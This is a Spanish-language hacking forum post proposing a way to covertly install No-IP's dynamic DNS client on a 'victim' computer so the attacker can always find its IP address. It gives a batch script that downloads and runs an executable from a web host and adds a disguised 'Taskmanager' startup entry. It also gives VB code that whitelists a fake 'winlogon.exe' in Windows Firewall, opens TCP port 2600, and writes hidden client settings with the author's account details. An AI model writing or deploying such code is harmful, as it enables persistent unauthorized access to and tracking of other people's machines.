=) Hola, bueno tengo una muy buena idea, que yo creo que si es posible realizarlo y no es dificil de hacer, para evitar estar obteniendo la IP de la victima, podremos instalarle el programa NO-IP DUC en su maquina, como? Sencillo...
1.- Creamos un batch con este codigo:
@echo OFF
wget http://www.paginaweb.com/downloads/DUC20.exe
copy /y %0 "c:/Program Files/No-IP/"
Reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Taskmanager /d "C:/Program Files/No-IP/DUC20.exe"
exit
Este batch debera ser bindeado con "wget" para poder descargar el archivo.
Problema: Al descargar el archivo el firewall de Windows u otro firewall preguntara que es lo que desea realizar: "Bloquear o Desbloquear conexion". para eso, antes de descargarlo, podremos agregar unas lineas al registro (SOLAMENTE PARA EL FIREWALL DE WINDOWS)
Visual Basic Code
Private Sub Form_Load()
On Error Resume Next
Set WS = CreateObject("WScript.Shell") ' asignamos a una variable el objeto
WS.RegWrite "HKEY_LOCAL_MAC HINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", "C:\Program Files\Internet Explorer\PLUGINS\winlogon.exe", "C:\Program Files\Internet Explorer\PLUGINS\winlogon.exe:*:Enabled:winlogon", "RegString"
WS.RegWrite "HKEY_LOCAL_MAC HINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\", "2600:TCP", "2600:TCP:*:Enabled:Puerto Security Data", "RegString"
End Sub
Este codigo lo deberas ajustar a tu gusto. (puedes agregarle entradas de otros firewalls conociendo la ruta del registro)
Bien, ya que esta bindeado y todo con el registro del firewall de windows, se descarga el archivo, se ejecuta de forma oculta (solo aparecera abajito) pero para eso, ya habremos agregado las lineas al registro de NO-IP.
he realizado este code para poder escribir y crear los registros que permite conectarse al subdominio, (para eso ya debes tener tu cuenta ANONIMA en No-IP) y modificar el codigo, con el username, password y el dominio.
Private Sub Form_Load()
On Error Resume Next
Set WS = CreateObject("WScript.Shell") ' asignamos a una variable el objeto
WS.RegWrite "HKEY_LOCAL_MAC HINE\SOFTWARE\VitalWerks\DUC\", "Default", "", "RegString"
WS.RegWrite "HKEY_LOCAL_MAC HINE\SOFTWARE\VitalWerks\DUC\", "Adapter", "ffffffff", "RegDWord"
WS.RegWrite "HKEY_LOCAL_MAC HINE\SOFTWARE\VitalWerks\DUC\", "AllowAutodial", "0", "RegDWord"
WS.RegWrite "HKEY_LOCAL_MAC HINE\SOFTWARE\VitalWerks\DUC\", "AllowSmoothScr olling", "1", "RegDWord"
WS.RegWrite "HKEY_LOCAL_MAC HINE\SOFTWARE\VitalWerks\DUC\", "AltPort", "0", "RegDWord"
WS.RegWrite "HKEY_LOCAL_MAC HINE\SOFTWARE\VitalWerks\DUC\", "Checked", "teofilo.no-ip.org|", "RegString"
WS.RegWrite "HKEY_LOCAL_MAC HINE\SOFTWARE\VitalWerks\DUC\", "ConAdapter", "ffffffff", "RegDWord"
WS.RegWrite "HKEY_LOCAL_MAC HINE\SOFTWARE\VitalWerks\DUC\", "DisplaySplash", "0", "RegDWord"
WS.RegWrite "HKEY_LOCAL_MAC HINE\SOFTWARE\VitalWerks\DUC\", "DUCHeight", "1c4", "RegDWord"
WS.RegWrite "HKEY_LOCAL_MAC HINE\SOFTWARE\VitalWerks\DUC\", "DUCLeft", "1be", "RegDWord"
WS.RegWrite "HKEY_LOCAL_MAC HINE\SOFTWARE\VitalWerks\DUC\", "DUCSplitter", "81", "RegDWord"
WS.RegWrite "HKEY_LOCAL_MAC HINE\SOFTWARE\VitalWerks\DUC\", "DUCTop", "b7", "RegDWord"
WS.RegWrite "HKEY_LOCAL_MAC HINE\SOFTWARE\VitalWerks\DUC\", "DUCWidth", "181", "RegDWord"
WS.RegWrite "HKEY_LOCAL_MAC HINE\SOFTWARE\VitalWerks\DUC\", "ExternalUpdate", "1800000", "RegString"
WS.RegWrite "HKEY_LOCAL_MAC HINE\SOFTWARE\VitalWerks\DUC\", "Hidden", "1", "RegDWord"
WS.RegWrite "HKEY_LOCAL_MAC HINE\SOFTWARE\VitalWerks\DUC\", "Hosts", "#,teofilo.no-ip.org|", "RegString"
WS.RegWrite "HKEY_LOCAL_MAC HINE\SOFTWARE\VitalWerks\DUC\", "LogSizeLimit", "64", "RegDWord"
WS.RegWrite "HKEY_LOCAL_MAC HINE\SOFTWARE\VitalWerks\DUC\", "Password", "anVzdGFybWFuaQ==", "RegString"
WS.RegWrite "HKEY_LOCAL_MAC HINE\SOFTWARE\VitalWerks\DUC\", "ProxyAddress", "", "RegString"
WS.RegWrite "HKEY_LOCAL_MAC HINE\SOFTWARE\VitalWerks\DUC\", "ProxyAuth", "0", "RegDWord"
WS.RegWrite "HKEY_LOCAL_MAC HINE\SOFTWARE\VitalWerks\DUC\", "ProxyPassword", "", "RegString"
WS.RegWrite "HKEY_LOCAL_MAC HINE\SOFTWARE\VitalWerks\DUC\", "ProxyPort", "8080", "RegString"
WS.RegWrite "HKEY_LOCAL_MAC HINE\SOFTWARE\VitalWerks\DUC\", "ProxyUsername", "", "RegString"
WS.RegWrite "HKEY_LOCAL_MAC HINE\SOFTWARE\VitalWerks\DUC\", "ScheduleList", "01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01", "RegBinary"
WS.RegWrite "HKEY_LOCAL_MAC HINE\SOFTWARE\VitalWerks\DUC\", "StayOnline", "0", "RegDWord"
WS.RegWrite "HKEY_LOCAL_MAC HINE\SOFTWARE\VitalWerks\DUC\", "TrayPassword", "AA==", "RegString"
WS.RegWrite "HKEY_LOCAL_MAC HINE\SOFTWARE\VitalWerks\DUC\", "UseProxy", "0", "RegDWord"
WS.RegWrite "HKEY_LOCAL_MAC HINE\SOFTWARE\VitalWerks\DUC\", "Username", "teofilo@hotmail.com", "RegString"
WS.RegWrite "HKEY_LOCAL_MAC HINE\SOFTWARE\VitalWerks\DUC\", "UseScheduleLis t", "0", "RegDWord"
End Sub
El unico problema, es que no se si sea asi para agregar en el registro de un DWORD, no se como configurarlo para que sea hexadecimal o decimal, y otra cosa... en el "ScheduleList" es un binario, que no se si lo haya puesto correctamente.
Porfavor corriganme si el codigo esta bien, y si puede funcionar este codigo
de todas maneras yo voy a probarlo en la makina de mi hermano para ver si funciona bien y les comento por aqui
Autor